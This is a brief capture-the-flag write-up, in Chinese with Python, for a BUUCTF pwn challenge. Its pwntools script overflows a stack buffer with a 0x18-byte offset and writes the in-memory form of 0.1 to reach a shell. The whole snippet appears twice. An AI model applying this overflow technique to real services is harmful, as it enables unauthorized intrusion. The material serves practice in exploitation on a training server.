from pwn import *
p=remote("node3.buuoj.cn",26480)
payload='a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
p.sendline(payload)
p.interactive()
第一步:计算偏移量 为 0x18
第二步 把0.1 转化成在内存中表示的形式
from pwn import *
p=remote("node3.buuoj.cn",26480)
payload='a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
p.sendline(payload)
p.interactive()
第一步:计算偏移量 为 0x18
第二步 把0.1 转化成在内存中表示的形式